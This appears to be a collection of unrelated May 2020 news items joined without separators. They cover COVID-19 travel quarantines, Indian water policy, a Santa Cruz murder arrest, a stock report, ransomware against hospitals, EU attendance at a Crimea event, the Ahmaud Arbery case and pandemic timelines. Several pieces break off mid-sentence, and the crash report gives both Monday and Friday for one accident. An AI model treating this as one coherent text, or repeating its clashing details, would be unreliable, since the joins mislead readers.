"We are confident that by the next Kumbh mela, we would have cleaned the river water till Haridwar. But, during our study we realised that it is the sewage which is amajor cause of water pollution," he added.

"The government has undertaken creation and maintenance of sewage treatment infrastructure under hybrid annuity based (model) and in the coming future, under the national river conservation directorate, we will undertake work on other five basins. But the ultimate result will come from jan andolan (mass movement), awareness and behavioural change," Shekhawat said.

He further said the government is doing its part, but then the industry will also have to support.

"Also, since water is a state subject, and various states are taking various initiatives, we will have to collectively work towards the goal of a water secured nation. Also, we need to figure out how we can conserve, harvest and judiciously usewater.

"Since agriculture, which uses nearly 89 per cent of water,is also a state subject, the governments will have to consider what togrow,how much to grow and for whom to grow," the minister added.

He said that the Haryana government has taken steps in that direction, and other states should also follow such a model.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Every so often, the world of tennis is thrown into the spotlight for reasons that have littl
After months of lockdown, most of us have tired of home schooling, home working and home cooking. For many, a holiday in the sun is just what's needed.

As airlines and holiday firms such as easyJet and Ryanair start planning their return to the skies, it seems we will have options.

It just depends on whether we are brave enough to embrace the new world of flying with the risk of coronavirus - and to defy the advice from the Foreign and Commonwealth Office to only travel abroad if it's essential.

It's possible that we will have to allow for an extra two weeks off work when we come back because the UK will enforce a quarantine - and that's without mentioning a possible quarantine when we arrive at a destination.

Read More

However, one travel agent told this newspaper that he was hopeful the quarantine could be limited to June.

EasyJet has announced that it will resume flying on June 15 from Belfast International to a number of UK destinations, but it wasn't the first out of the traps.

Wizz Air, which flies to Vilnius in Lithuania from Belfast International, resumed some flights earlier this month, but it has yet to name a date for services out of Belfast.

Holiday specialist Jet2.com is relaunching flights to a host of sunny spots on June 17.

Its deals include a week for two in Fuerteventura, flying from Belfast, for less than 500.

Read More

However, much will depend on whether the Foreign Office advice has changed by then, though some travellers may be so keen to get away that they accept the risk of booking now and having to change their plans later.

Sandra Corkin, the owner of travel agency Oasis Travel, said many customers had already cancelled summer escapes planned for June or July.

Many are holding out for an August getaway, however.

She added: "Out of 5,000 bookings we had, we still have 2,000 customers who are telling us that they will fly if they can."

Retired travel agent Doreen McKenzie was caught up in a coronavirus travel nightmare when she found herself stranded in San Diego in March after her Panama Canal cruise was cancelled.

But that has not put her off and she is planning to take the same cruise in March next year, hopefully with a happier result.

Doreen said she thought local people would still want to take holidays where they could this summer.

"By and large, the population of Northern Ireland are very resilient folk - they have taken Sars, foot and mouth disease and volcanic eruptions all in their stride," she added.

"I think many people are desperately keen to get away and agents are getting a lot of enquiries, but they are very anxious at the same time and won't go against the Foreign Office advice."

GP Michael McKenna, who runs a practice in west Belfast, said he would warn patients who are vulnerable to Covid-19 because of their age or underlying health conditions not to fly.

He said all others should be prepared to wear cloth masks on flights and observe quarantine rules when arriving at their destination and when they come home, if rules are in place.

"I don't think there'll be much overseas travel before August, but if there are quarantine rules in some countries, quite a number of people might have holiday homes out there, so they will quite happily go into quarantine when they arrive," he added.

"They'll know the lay of the land when it comes to having shopping delivered, for example.

"I'd certainly be saying to any vulnerable patients that they need to take particular care around their condition and take advice from their insurance (company)."

Colum McLornan owns travel agency Friendship Travel, which specialises in overseas trips for single people. He is also the co-owner of the Marine Hotel in Ballycastle, which gives him a foot in both the overseas travel and staycation markets.

"We're having bookings for later in the summer to places like Zante in Greece and Turkey. Both are well served from Belfast and from London and Manchester as well," he said.

"Greece has had very little coronavirus and holidays to Portugal are also being picked up."

Mr McLornan said there was "definitely less interest" in European countries like Spain and Italy, which have been very badly hit during the pandemic.

He is hoping to get away for week himself at the beginning of July - and has set a target date of July 15 for the reopening of the Marine Hotel.

"English hotels are due to open on July 4 and Irish hotels on July 20. They're already marketing themselves and sending out emails to customers," he said.

"Our worry is that if the Northern Ireland Executive doesn't soon give us a date or some guidance about when we can open, people will just go to Dublin, Sligo or Donegal instead."
Home quarantine must for domestic flyers arriving in Kerala

India

pti-PTI

Thiruvananthapuram, May 22: Domestic flyers arriving in Kerala must undergo strict home quarantine as per the lockdown guidelines, in view of increasing COVID-19 cases in the state, Health Minister K K Shailaja said on Friday.

"Even if the domestic flight services resume, those coming in must remain under stricthome quarantine as per the guidelines. There is no change in that. Most people will be coming from the major hotspots of the country," she said.

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Announcing the resumption of domestic flight services from May 25, the Civil Aviation Ministry indicated on Thursday that it was not in favour of quarantining passengers on short-haul flights. However, the Assam government has made it mandatory for all air passengers coming to that state to stay in quarantine for 14 days.

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Apart from the health department and the local self government institutions, Shailaja said the people of Kerala must also ensure that every returnee to the state remained under strict home quarantine in order to curb the spread of the disease. "We need to strictly keep under observation all those who come fromoutside the state and make sure that they do not come into contact with others including their family members. They should be effectively remain under room quarantine at their residence," she said.

The state reported 690 cases after 24 more tested positive for coronavirus on Thursday. As of now over 80,000 people are under observation across the state. On the death of a 73-year-old woman, who came from Mumbai, on Thursday, the minister said, "Khadijakuttycame from Mumbai along with three others. She alighted at Chavakkad. Her son who picked her up from there took her to the govt hospital as she was tired. She was given good care."

"However, as her condition worsened, had taken a decision to sent her to the medicalcollege. Her swab test was taken and she was tested positive, but she passed away," Shailaja said.

The minister sounded a word of caution that there would be an increase in cases in the coming days as the influx of people coming from abroad and other states would continue. "We cannot prevent anyone from coming. They are our brothers and were suffering there. We need to save those who come here and also those who are here," the Minister said.

Domestic flight rules: From web check in to Aarogya Setu, what you should know

Shailaja said the southern state had successfully managed the first two phases of the viral outbreak in January and March. "There were three deaths. But we managed to save the rest of the people including a 93-year-old man," she said.

The Minister further said the situation in the state changed after flight services resumed and the border roads were re-opened after May 7.

"Our fatality rate is low and recovery rate is high. After May 7, when the flight restrictions were lifted and people from other states started coming in, we reported 188 cases. At least 90 per cent of the positive cases came from outside and the rest are their contacts," she noted.
Two former employees of a Santa Cruz tech executives cannabis business were among four suspects arrested on suspicion of robbing and killing the entrepreneur, authorities said Thursday.

The suspects are Joshua Camps, 23, and Kurtis Charters, 22, both of Lancaster (Los Angeles County); Stephen Lindsay, 22, of Burbank; and Kaleb Charters, 19, of St. Clair Shores, Mich., according to the Santa Cruz County Sheriffs Office.

Three were booked into county jail on suspicion of murder, robbery and kidnapping in connection with the October killing of 50-year-old Tushar Atre, officials said. The fourth suspect was being extradited from Michigan and was expected to be booked this week.

Lindsay and Kaleb Charters were employed by Atre at his cannabis business, officials said. Kaleb and Kurtis Charters are brothers, and Camps is an associate of the group.

None of the suspects had a criminal history, according to the Sheriffs Office.

With the help of local sheriffs and police departments, arrest warrants were served Tuesday in Michigan and Southern California. Each of the men was taken into custody at or near their home.

The men allegedly kidnapped Atre shortly before 3 a.m. on Oct. 1 from his home on Pleasure Point Drive, before driving him in Atres white BMW to a property on Soquel San Jose Road. Deputies found Atres body the next morning.

Atre founded a web design company called AtreNet and ran a cannabis business.

Lt. Brian Cleveland of the Sheriffs Office said officials believe the motive was robbery and the crime was planned, although it remains unclear what the suspects wanted to steal from Atre.

They were after monetary gain, and thats why we believe this crime occurred, Cleveland said.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Santa Cruz County Sheriff Jim Hart praised the efforts of detectives, forensic experts and other law enforcement agencies involved in the case.

We butted up against a lot of closed doors over the last seven or eight months, Hart said. Every time that happened, our investigators found somewhere else to go with this case. ... (It) was solved by outstanding police work.

The Sheriffs Office expected to present the case to the Santa Cruz district attorneys office this week.

Anna Bauman is a San Francisco Chronicle staff writer. Email: anna.bauman@sfchronicle.com Twitter: @abauman2
Hindustan Petroleum Corporation Ltd is quoting at Rs 185.85, up 2.82% on the day as on 12:54 IST on the NSE. The stock is down 35.84% in last one year as compared to a 22.83% fall in NIFTY and a 22.85% fall in the Nifty Energy index.

Hindustan Petroleum Corporation Ltd rose for a third straight session today. The stock is quoting at Rs 185.85, up 2.82% on the day as on 12:54 IST on the NSE. The benchmark NIFTY is down around 1.21% on the day, quoting at 8995.85. The Sensex is at 30590, down 1.11%. Hindustan Petroleum Corporation Ltd has dropped around 11.29% in last one month.

Meanwhile, Nifty Energy index of which Hindustan Petroleum Corporation Ltd is a constituent, has dropped around 0.04% in last one month and is currently quoting at 12502.6, down 0.47% on the day. The volume in the stock stood at 42.65 lakh shares today, compared to the daily average of 74.7 lakh shares in last one month.

The benchmark May futures contract for the stock is quoting at Rs 186.3, up 3.44% on the day. Hindustan Petroleum Corporation Ltd is down 35.84% in last one year as compared to a 22.83% fall in NIFTY and a 22.85% fall in the Nifty Energy index.

The PE of the stock is 4.94 based on TTM earnings ending December 19.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
YEREVAN, MAY 21, ARMENPRESS. The Institute of Molecular Biology (IMB) of the National Academy of Sciences has proposed to unite the capacities of Armenian specialists and create a scientific-research infrastructure for conducting studies of pandemic situations, which can further be used to work on making drugs and vaccines, IMB Director Dr. Arsen Arakelyan told ARMENPRESS when asked about their activities aside from working on production of test kits for COVID-19.

We arent working in this direction, because these are more time-consuming directions requiring scientific infrastructure. And currently, unfortunately, we dont have these opportunities in Armenia. But we have put forward a project on creating a scientific-research infrastructure for pandemic situations, which will enable to also deal with these directions. This proposal is currently under discussion, Arakelyan said.

Arakelyan argues that the unification of the capacities of all institutes, universities, agencies under the health ministry will allow to create a network to develop infrastructures necessary for such studies. Arakelyan proposes to create a common-use center for conducting studies, which can further be used to work on drug and vaccine development. He said the IMB has sufficient expertise and potential for this.

More than half are young scientists who have trained in renowned cetners abroad, they have numerous academic publications. The problem isnt human potential, it is rather the material-technical infrastructure, he said.

Arakelyan has made the proposal to the Science Committee and the Ministry of Education, Science, Culture and Sport.

Reporting by Anna Grigoryan; Editing and Translating by Stepan Kocharyan
BRIGHTON  A motorcyclist was seriously injured in a Monday morning accident on Illinois 255.

Illinois State Police report that Richard E. McLaughlin, 45, of Brighton, was airlifted to an area hospital with serious injuries following an accident at 5:28 a.m. Friday at Illinois 255 milepost 12.

According to police, the 2007 Harley Davidson motorcycle McLaughlin was operating left the roadway and traveled into the center median where it overturned.

No further information on his condition was available Friday morning. The accident remains under investigation.
Matthew McConaughey and Camila Alves are delivering face masks to those in need.

A photo from the actor said Lincoln Motor Co. donated 110,000 masks, which the couple is helping donate to rural hospitals.

In March, Texas Agriculture Commissioner Sid Miller requested emergency funding for rural Texas hospitals. According to the Texas Department of Agriculture, rural hospitals are often the only critical care option for Texans in these communities.

Rural Texans cant afford to lose their hospitals right now, Miller said at the time.



Video: Woman, who has blindness, makes masks for Navajo Nation

McConaughey has previously spoken up for the need for people to wear masks, saying people shouldn't see them as a limitation of their freedom but as a badge for people to unite and help each other, allowing us to buy time.

Through the use of video chat, McConaughey also joined the residents of The Enclave at Round Rock Senior Living, an independent and assisted living facility outside of Austin, Texas.

McConaughey wasn't the only one getting in on the fun; his family joined in to entertain the residents.

"Thank you to Matthew, his wife Camila, and his mom Kay for hosting our residents for a few rounds of virtual bingo!" the facility posted on Facebook on April 5. "Our residents had a great time playing, and they loved talking with Matthew about his family heritage and his favorite drink."

CNN contributed to this report.
The UK government is set to unveil tough new procedures later on Friday for international travellers coming into the country as the coronavirus pandemic lockdown is gradually eased, including 14-day mandatory quarantines and possible fines for a breach.

Under the plans, to be formally announced by UK Home Secretary Priti Patel at the daily Downing Street briefing, health officials would be able to carry out spot checks to ensure people comply with their self-isolation at a designated address and impose a 1,000 pound fine on anyone breaking the quarantine.

The new rules, which will also apply to British people returning from abroad, are not expected to come into force until next month.

"The reality is we are saying to people if you are going to go abroad you need to look at the fact you may well need to do quarantine when you come back," UK Northern Ireland Secretary Brandon Lewis told the BBC, in reference to the expected announcement.

As part of the plans, which are aimed at guarding against a second wave of coronavirus infections, all arrivals would be asked to fill in a form with their contact information. Road hauliers and medical officials entering the country in relation to work to combat the pandemic would be exempt, as well as those arriving from the common travel area of the Republic of Ireland.

Any other passengers arriving in the UK by plane, ferry or train would need to provide UK Border Force officials with an address where they will self-isolate, otherwise accommodation will be arranged by the government.

The Opposition Labour Party has backed the plans, but shadow health secretary Jonathan Ashworth said there were "lots of questions as to why we didn't do this sooner".

"I would urge the government to get on with it and give us the details about how it's going to work in practice," he said.

Airlines have warned quarantine measures could make an already critical situation worse for them, with air travel grounding to a near-halt as a result of the lockdown measures imposed worldwide to curb the spread of the deadly virus.

The British government's current guidance recommends international travel only when absolutely necessary, and states that nobody should travel if they display any coronavirus symptoms.

There have so far been no quarantine requirements for travellers from abroad, with the government saying it is deemed necessary only now as the rate of infection within the country is brought into control and there is a need to prevent a second wave of infections coming in from overseas.

The rate of infection, so-called R rate, has been kept under the required rate of 1, with UK Health Secretary Matt Hancock saying that the country is ready to move to level three of a five-level test set by the government to ease the country out of lockdown. At the peak of the pandemic, the UK has been on level 4, with the death toll from COVID-19 crossing 36,000.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The mere fact of the COVID pandemics existence has pushed the American healthcare system to capacity, but another threat to that system has reared its ugly head  cyberattacks, particularly those based on ransomware, have become more common as the disease spread, targeting medical IoT devices and healthcare networks.

According to Forrester Research analyst Chris Sherman, two U.S. hospitals have already been attacked via virtual care systems, after a hacker targeted a vulnerability in a medical IoT device (specifically, a remote patient-monitoring sensor) and gained access to the hospitals patient databases. And in another type of attack, the Fresenius Group, a medical device maker and the largest private hospital operator in Europe, has been hit by ransomware.

To me, its clear attackers are increasing their focus on medical devices, Sherman said. The attackers are directing their efforts really to any system thats exposed to the internet, which is a concern given how flat most healthcare networks are.

The precise extent to which threats have risen due to the pandemic is unclear, but most experts agree that there seems to be a correlation. Sherman said that some reports place the figure as high as three to five times the number of attacks that would ordinarily be expected, but argued that those figures might be a slight exaggeration.

Healthcare providers are particularly ripe targets for ransomware attacks for several reasons. Medical IoT devices are, all too often, poorly secured against intrusion, according to NTT Canadas cybersecurity practice lead, Stew Wolfe.
EU May Break Own Protocol By Participating In Russia-Backed Crimea Event

By Rikard Jozwiak May 21, 2020

The European Union and several of its member states may break the bloc's own guidelines on contacts with de facto authorities of the Russia-annexed Crimean Peninsula by participating in a Moscow-backed videoconference on the situation in the region.

Two diplomats from EU member states, who were not authorized to speak on the record, told RFE/RL that representatives at various levels from up to 19 out of 27 EU member states, as well as the EU's UN delegation, plan to participate in the event on May 21.

A concept note on the conference, authored by the permanent mission of the Russian Federation to the United Nations and seen by RFE/RL, welcomes all "New-York based representatives of the UN member states" to an Arria-formula videoconference on the situation in Crimea. This included people at the level of permanent representatives, deputy permanent representatives and experts, as well as the press.

In March 2014, Moscow seized control of Ukraine's Crimean Peninsula after sending in troops and staging a referendum dismissed as illegal by at least 100 countries. Moscow is also backing separatists in a war in eastern Ukraine that has killed more than 13,200 people since April 2014.

As part of its response to the annexation, the European Union drew up strict guidelines for all of its diplomats, as well as diplomats of its member states, stating that there can be "no participation in, or attendance of any level at any event that could be identified in advance as only aiming at acknowledgment of Crimea/Sevastopol's status and de facto annexation."

An Arria-formula meeting, frequently used by the UN, is an informal arrangement that allows members of the institution to be briefed about international security issues.

In the meeting, Russia's UN Ambassador Vasily Nebenzya will deliver opening and closing remarks, while proponents of Russia's annexation of the Ukrainian peninsula will make panel presentations.

These include Moscow-approved figures, such as Asadullah Bairov, the deputy mufti of Crimea; Anastasia Gridchina, the head of the Ukrainian community on the peninsula; and Ervin Musaev, the deputy director-general of the Crimean TV channel Millet.

The concept note claims that "in order for the participants to have comprehensive information, the Arria meeting will provide an opportunity to listen and learn the real picture of the situation on the ground from those who currently reside in Crimea, being at the same time representatives of various national groups of the inhabitants of the peninsula."

The EU will also be represented at the meeting, however, as will the German permanent representative. Belgium and France have also signaled that they will attend, though it was not clear at what level.

The levels and numbers of participating EU member states varies, but so far only Bulgaria, Finland, the Netherlands, Poland, Romania, and the three Baltic states have stated that they will snub the meeting.

Some of the officials RFE/RL contacted voiced fears that the presence of EU diplomats will compromise the nonrecognition guidelines and be used for propaganda purposes, even if they speak out against the annexation in the meeting.

RFE/RL sought comment from the EU about its participation in the meeting but did not receive an answer.

The two-page Russian concept note ahead of the meeting states that "after the coup d'etat in February 2014 in Kyiv, inhabitants of several regions of eastern Ukraine expressed their disapproval of the unlawful actions of the then-Ukrainian Maidan leaders."

It also notes that "today's Crimea enjoys all the rights and benefits of a Russian region and all of its population groups enjoy all the rights and freedoms of Russian citizens. Socio-economic situation has improved significantly -- in fact, the peninsula has become one of the fastest developing regions of the country."

RFE/RL contacted Ukraine's UN Ambassador Serhiy Kyslytsya for comment on the event.

While he didn't give an opinion on EU countries participating in the meeting, he noted that participants were unlikely to hear "anything new."

"The Russians and their actors will repeat yet another mantra about the 'voluntary reunification of the Crimean people with Russia,' and the international community will reiterate the basic truths," such as the Crimean Peninsula being "temporarily occupied" with Russia as the "occupying power," which Kyslytsya said "must stop human rights violations."

Source: https://www.rferl.org/a/eu-may-break-own- protocol-by-participating-in-russia-backed- crimea-event/30625838.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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By Daniel Pipes

(JNS)As Aristotle long ago recognized, virtue is the midpoint between extremes. And I found myself smack at that midpoint in recent days.

I published a modest article suggesting six reasons why the Jewish state should not extend its sovereignty to a Palestinian-majority territory. (Confusingly, The New York Times titled the May 7 online version Annexing the West Bank Would Hurt Israel and the slightly different May 8 print version as Annexation Would Hurt Israel.)

I hardly expected the article to arouse high emotions. It deals with a tactical issue distant...
The number of coronavirus cases



in the Dharavi area of Mumbai increased to 1,478 as 53 new patients were found on Friday, while death toll reached 57 with one more person dying, a civic official said.

The Brihanmumbai Municipal Corporation (BMC) official said that 15 positive cases which included a nine years old girl were found in Matunga Labour Camp within Dharavi since Thursday evening.

Dharavi, known as the largest slum sprawl of Asia, has a population of over 6.5 lakh living in an area spread over 2.5 sqkm.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
H eres some cheerful news. Italy says it will be ready to welcome international tourists from early June  and it is lifting its 14-day quarantine period to do it.

Spains holiday islands are preparing for travel too. Coronavirus has been brought under control in the Canary Islands, Ibiza, Menorca and Majorca. Although Spain still has quarantine rules, the country says they are a short-term measure.

And what about Britain? For the last three months anyone landing here from abroad has been free to wander out of the airport and onto the Tube without even a minimal health check, even if they have flown in from a coronavirus hotspot.

That advice still stands, and it will until next month.

What happens then? Just as infection rates start to fall in many parts of the world, the Home Secretary is finally announcing plans to bring in compulsory quarantine. Its 15 years this month since the BBC first broadcast The Thick of It. But even the satirical shows scriptwriters couldnt have come up with this plot.

Either arriving travellers are dangerous, in which case we should have been protecting ourselves from them since early March when the Government inexplicably lifted its recommendation that people arriving from high-infection countries self-isolate.

Or they are not, in which case this policy is shown for what it actually is: a bit of silly tokenism designed to make ministers look tough.

The plan has been shot full of holes before it has even started. Lorry drivers will be exempt  which you can understand.

But why fruit pickers and perhaps racing car drivers too? Nor is there a plan to enforce the rules  the police say they wont.

In Australia, which takes border control seriously, travellers have been made to isolate in secure hotels at the airport. Here, they will be told to head home, behave themselves and not go out for a fortnight.

This isnt going to work. So we need a better plan. The Home Secretary is right about one thing: we should have controls for passengers from high-risk countries.

We should have done so from the start. But not every country is high risk. Someone coming from Denmark doesnt carry the same chance of carrying coronavirus as one from Brazil. Infection rates in Spain and Italy are now lower than they are here.

Airlines want to open air bridges with low-infection countries such as Greece which would allow travel without quarantine.

The Government could start by agreeing restriction-free routes to European countries which have brought coronavirus under control if they are prepared to take passengers from Britain.

That way we could go on holiday this summer, save our airlines from bankruptcy, and stay safe.

Fun, fun, fun in the sun

Balconies are the new brasseries and parks the latest pizzerias. Pubs are pavements and takeaways the new eating in.

London is in a strange semi-lockdown in which a lot of things suddenly seem possible so long as they take place outside, socially-distanced, with just one friend, of course.

You can order a lunch to eat at home from the Belgravia institution La Poule au Pot, which starts with les asperges a la vinaigrette and ends with a tasty tarte tatin.

Or get a takeaway beer from dozens of London pubs such as the Trafalgar Freehouse in Merton or the Pub on the Park in London Fields (lots of green space right in front and they will do you an Aperol spritz if the sun stays warm).

Happy Bank Holiday weekend!

Listen to The Leader: Coronavirus Daily podcast



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On the case at No 10

Theres a pattern to new governments.

First, they blame the civil service and bring in outsiders to make things happen.

Then, when that goes wrong, they get top civil servants back. Its happening now.

The capable Simon Case has just been brought in to sort out Number 10.

We wish him luck  hell need it.
The Georgia Bureau of Investigation director said Friday that he's confident his agency had arrested the men responsible for the fatal shooting of Ahmaud Arbery, the black 25-year-old whose death roiled a local community and prompted nationwide calls for justice.

Addressing reporters Friday morning, GBI Director Vic Reynolds confirmed the GBI on Thursday had arrested William "Roddie" Bryan Jr., 50, nearly three months after he recorded the graphic cellphone video of Arbery's death. Bryan is charged with felony murder and criminal attempt to commit false imprisonment.

"When we became involved, we knew the case was already over two months old," he said. "We certainly realized it was a case that had been around awhile. It was a case that generated a great deal of emotion and passion, and we respect that."

Bryan's arrest comes two weeks after the GBI apprehended Gregory McMichael, 64, and Travis McMichael, 34, who authorities said confronted Arbery with firearms while he was running in a residential neighborhood in Brunswick, Georgia, on Feb. 23. Both McMichaels were charged with murder and aggravated assault, and the GBI has said that Travis McMichael shot and killed Arbery during the encounter.

Video of Arbery's killing sent shock waves through the coastal community in southeast Georgia and enraged racial justice advocates across the United States, leaving many to wonder why it took more than two months for the McMichaels to be arrested.

Details pertaining to the initial investigation of Arbery's death, which has been handled by four different prosecutors, have been heavily scrutinized in recent weeks, and attorneys for Arbery's mother have charged that it was "mishandled from the very beginning."

Two local district attorneys had recused themselves from the case before the Georgia Bureau of Investigation was brought in earlier this month. The agency arrested the McMichaels within two days of taking the reins on the case and was also asked by Georgia Attorney General Chris Carr to conduct an investigation into possible prosecutorial misconduct.

Reynolds said Friday that the misconduct investigation is ongoing.

Lee Merritt, an attorney representing Arbery's family, has repeatedly called for Bryan's arrest. Following the GBI's announcement Thursday, he and other attorneys for the family said in a statement that Bryan's involvement in the killing was "obvious to us, to many around the country and after their thorough investigation, it was clear to the GBI as well."

"We want anyone who participated in the murder of Mr. Arbery to be held accountable," the attorneys added.

Bryan's attorney, Kevin Gough, did not immediately return a phone call and message sent through his website requesting comment Thursday evening. Gough told CNN Monday that his client had taken a polygraph test, which he said confirmed Bryan was not involved with the shooting. Gough has previously tried to distance Bryan from the McMichaels' actions, telling reporters Tuesday that Bryan "is not now, and has never been more than a witness to the shooting of Mr. Arbery."

"He is not a vigilante. Roddie did not participate in the horrific killing of this young man," he said. "Mr. Bryan has committed no crime and bears no criminal responsibility in the death of Ahmaud Arbery."

But Reynolds offered a different sentiment on Friday.

"I can tell you that if we believed he was a witness, we wouldn't have arrested him," he said. "So there's probable cause, and we're comfortable with that."

Asked about the nature of Bryan's charges when he did not pull the trigger, Reynolds replied that in Georgia, the felony murder charge applies if someone commits a felony crime that ends in the death of another human being.

"As the warrants indicated, he's charged with an underlying felony, and he's also charged with felony murder," Reynolds added. "We believe the evidence would indicate his underlying felony helped cause the death of Ahmaud Arbery."

According to a police report, Greg McMichael told police that he and his son pursued Arbery after McMichael recognized him from "several recent break-ins in the neighborhood." He said that "Roddy" unsuccessfully tried to block Arbery's path, and at that point, he and his son "jumped into the bed of the truck" and continued the chase.
Some 60 Chinese workers employed by the Tajik-Chinese Mining Company held a rare protest on May 20 in the Tajik town of Zarnisor. The mining company's administration said police were called after the Chinese workers refused to end the rally. The workers' demands remain unclear. The mining company was created in 2009 and operates lead and zinc mines in Tajikistan.
Toronto, Ontario--(Newsfile Corp. - May 22, 2020) - Matica Enterprises Inc. (CSE: MMJ) (FSE: 39N) (OTCQB: MMJFF) ("Matica" or the "Company") today announced that it will be delaying the filing and delivery of certain of its continuous disclosure documents, in accordance with Ontario Instrument 51-502 Temporary Exemption from Certain Corporate Finance Requirements of the Ontario Securities Commission (the "Blanket Exemption Order") which was adopted for the purpose of providing certain filing and other relief to issuers in light of the challenges posted by the COVID-19 pandemic.

The Company is relying on the Blanket Exemption Order in delaying the Company's interim financial statements for the three month period ended March 31, 2020 and related certifications; and the Company's management discussion and analysis for the three month period ended March 31, 2020.

The officers and directors of the Company and certain other persons will remain subject to a trading black-out pursuant to which such persons are prohibited from trading in any securities of the Company until the end of the second full trading day following the day on which the Required Annual Filings are filed on SEDAR and a corresponding news release is issued by the Company.

The Company currently intends to make the required interim filings by July 15, 2020.

About Matica

Matica is a multi-faceted, innovative company in the Quebec cannabis space. Its subsidiary, RoyalMax Biotechnology Canada Inc. is a Dorval, Quebec based Health Canada Licence Holder. RoyalMax has been granted a standard cultivation licence, standard processing and medical sales licences by Health Canada.

For more information on Matica Enterprises please visit the website at: www.maticaenterprises.com.

On behalf of the Board of Directors

MATICA ENTERPRISES INC.

Boris Ziger

Boris Ziger, CEO & Chairman

The Company's public filings are available for review at www.sedar.com and www.thecse.com.

For further information, please contact Boris Ziger, at:

Telephone: 416-304-9935

E-mail: info@maticaenterprises.com

Website: www.maticaenterprises.com , www.maticammj.com

Disclaimer for Forward-Looking Information

Certain information in this press release may constitute forward-looking information. This information is based on current expectations that are subject to significant risks and uncertainties that are difficult to predict. Actual results might differ materially from results suggested in any forward-looking statements. The Corporation assumes no obligation to update the forward-looking statements, or to update the reasons why actual results could differ from those reflected in the forward looking-statements unless and until required by securities laws applicable to the Corporation. Additional information identifying risks and uncertainties is contained in the Corporation's filings with the Canadian securities regulators, which filings are available at www.sedar.com.

This news release contains statements about the Company's information that may be made available on the S&P Capital IQ Corporation Records Listing Program and the business of Matica that are forward-looking in nature and as a result, are subject to certain risks and uncertainties. Although the Company believes that the expectations reflected in these forward-looking statements are reasonable, undue reliance should not be placed on them as actual results may differ materially from the forward-looking statements. The forward-looking statements contained in this news release are made as of the date hereof, and the Company undertakes no obligation to update publicly or revise any forward-looking statements or information, except as required by law.

Neither the Canadian Securities Exchange nor its Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. We seek Safe Harbor.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56423
From Men's Health

We all have different worriesmaybe we're concerned about whether our housemates new cough is just allergies, or we're wondering if we calculated how to stretch whats left of our cut salaries right, and so many more. But theres one question unifying the world in the COVID-19 era: When will it all end?

Some moments, it feels like the answer is soon...maybe? As of Wednesday, all U.S. states have started to re-open to some extent. Coronavirus vaccine trials are beginning to look promising. We all know someone who has decided it's safe for them to do something weve been avoiding, like travel to shelter at home in a new locale or to visit family.

And yet we're still seeing thousands and thousands of new cases every day, hundreds and hundreds of new deaths. Most of us still feel anxiety on a daily basisless so than in March, but more so than wed like.

So when will this disrupted life with the novel coronavirus end? The reality is, we may live with some kind of threat from SARS-CoV-2 forever. (Our current benign seasonal flu is actually a variant of the Spanish flu which raged as long ago as 1918, killing 50 to 100 million people worldwide).

But the height of our pandemic has to end at some point. And while no one has an actual answer, most agree it depends on two things: when we will reach a medical solution that allows infections to end or diminish, and when our lives can go back to normal.

When will the infections end?

The next few months are a waiting game.

One step in the right direction is that certain infection-control measures are improving: Worldwide, everyone's trying to iron out supply chain and manufacturing issues, so hopefully frontline workers will have more access to personal protective equipment (PPE) and life-saving ventilators. We need to streamline blood and swab test production so there can be more quality control and the public can keep faith in the effectiveness of testing, says virology and microbiology expert Rodney Rohde, Ph.D., a professor at Texas State University.

Story continues

According to Rhode, who has spent more than two decades dealing with infectious disease outbreaks like West Nile Virus and SARS, the medical end of the pandemic depends on three things:

Scientists developing an effective vaccine that can protect a large number of the global population (ideally, higher than 60 percent). Manufacturers finding an effective way to mass produce and deliver said vaccine to people around the world. Time for the global population to build a natural (herd) immunity so the virus doesn't have enough novel hosts to continue infecting large numbers at once.

How long a vaccine could realistically take

According to the World Health Organization, there are more than 100 vaccine projects in development right now and eight in actual clinical trials. One of the most promising formulas is from Moderna, who just announced early but positive results from the first phase of their clinical trial. Realistically, we're looking at summer or fall of 2021 for the protection to be ready, Rohde says.

As for then delivering the formula, he explains if the US can ramp up their preparations to mass produce and deliver while the vaccine is being developed, the formula could actually be rolled out to Americans along that same timeline of Fall 2021.

Even with a vaccine, herd immunity is still important. The formula likely wont protect 100 percent of people, and 100 percent of people certainly wont get the vaccine. Typically, you need 60 to 80 percent of people to have been exposed and have fought off the virus (or gotten vaccinated) for herd immunity to be effective.

Photo credit: Adriana Duduleanu / EyeEm - Getty Images

Rohde predicts that could take a full two years. That idea is supported by a recent study in Science, where Harvard researchers reported that with countries going in and out of social distancing and lockdowns over the coming months, were looking at 2022 to build up enough of a population immunity.

That means Spring 2022 is most likely the earliest well have both a widely-available and effective vaccine for the virus and a dominant worldwide immunity to further stunt the spread.

Why a vaccine might take even longer

Now, there are a few potential kinks: A second wave of outbreaks in the fall of 2020 could slow progress, since going back into quarantine means a potential disruption in production and manufacturing, Rohde points out. And the timeline of herd immunity is based on the assumption that our resistance to the virus will last longer than a yearwhich we dont really know yet.

But the main wild card: "There is always a risk that a virus will mutate and render a vaccine less effective, especially for RNA viruses like influenza and coronaviruses," he says. If it undergoes minor mutations, the vaccines currently in development would still be potentially useful. But if SARS-CoV-2 saw major mutations, we're more or less back to the drawing board.

Can the weather slow down infections, even before a vaccine is ready?

There's been a lot of talk about cases mellowing for the summer and then numbers re-surging in the fall. But Rohde says it's unclear if we'll see any seasonality with this virus. "Many of our common coldswhich are also coronavirusesshow up year round," he points out.

And looking at pandemics past, there isnt much of a patterneither in seasonal trends or a timeline. The 1918 influenza (aka the Spanish flu) saw three major outbreaksthe spring of 1918, fall of 1918, and spring of 1919with rates of infection dropping during both summers. But the H1N1 flu, which the WHO declared a pandemic in June of 2009, peaked during the summer months.

When will we be able to get back to normal?

Heres the bad news: Life will probably never be normal again. Much like our country was never the same after 9/11, it won't be the same after COVID-19.

Except the shift will be world-wide.

Photo credit: Fiordaliso - Getty Images

You might have to take a blood test before you're allowed to board a flight, have your temperature checked before you enter your office, eat with a plastic divider between you and your date.

